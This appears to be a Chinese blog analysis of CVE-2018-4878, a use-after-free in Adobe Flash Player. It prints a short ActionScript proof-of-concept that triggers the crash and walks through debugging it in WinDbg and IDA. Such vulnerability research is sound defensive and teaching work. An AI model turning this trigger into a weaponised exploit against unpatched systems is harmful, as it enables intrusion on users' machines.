CVE-2018-4878
0x00前言
该漏洞影响 Flash Player 版本28.0.0.137以及之前的所有版本
0x01 poc
这里只列出关键代码
public function triggeruaf() : void {
var sdk :PSDK = null;
var dispatch:PSDKEventDispatcher = null;
sdk = PSDK.pSDK;
dispatch = sdk.createDispatcher();
this.mediaplayer = sdk.createMediaPlayer(dispatch);
this.listener = new MyListener();
this.mediaplayer.drmManager.initialize(this.listener);
this.listener = null;
}
public function exploit():void {
this.triggeruaf();
try {
new LocalConnection().connect("test");
new LocalConnection().connect("test");
} catch (e:Error) {
}
}
主要就是以一个listener类实例为参数初始化了一个drmManager对象,之后就将listener类实例赋值为NULL,其中listener类为

用FlashDevelop编译后生成Poc.swf
用Windbg附加IE打开Poc.swf,程序崩溃


可见直接使用ecx传递了一个对象
根据汇编代码可断定,ecx偏移0x0c处为某对象指针,而此对象已经全是0,造成了悬挂指针。再看poc脚本中,把一个MyListener(实现了DRMOperationCompleteListener接口)类型对象赋值null。所以可猜测ecx->0x0c为MyListener对象。
用ida找到触发漏洞的函数

函数在对象的虚表中

sub_1036E28A即触发崩溃的方法。
根据虚函数表引用找到对象赋值方法,即脚本中的initialize,这里是函数sub_1037AB11

重新附加IE,在initialize函数下断,打开poc.swf,程序在sub_1037AB11处断下

按F10单步执行

可以看到esi + 0x0c 处为DRMOperationCompleteListener实例指针,它里面的内容此时不为0
按g让程序执行,程序崩溃

结合poc代码我们可以得出结论:MyListener实例在被置null之后被垃圾回收,而在对象中还留存着实例指针,因此存在悬挂指针问题。
Always believe that good things will come.

浙公网安备 33010602011771号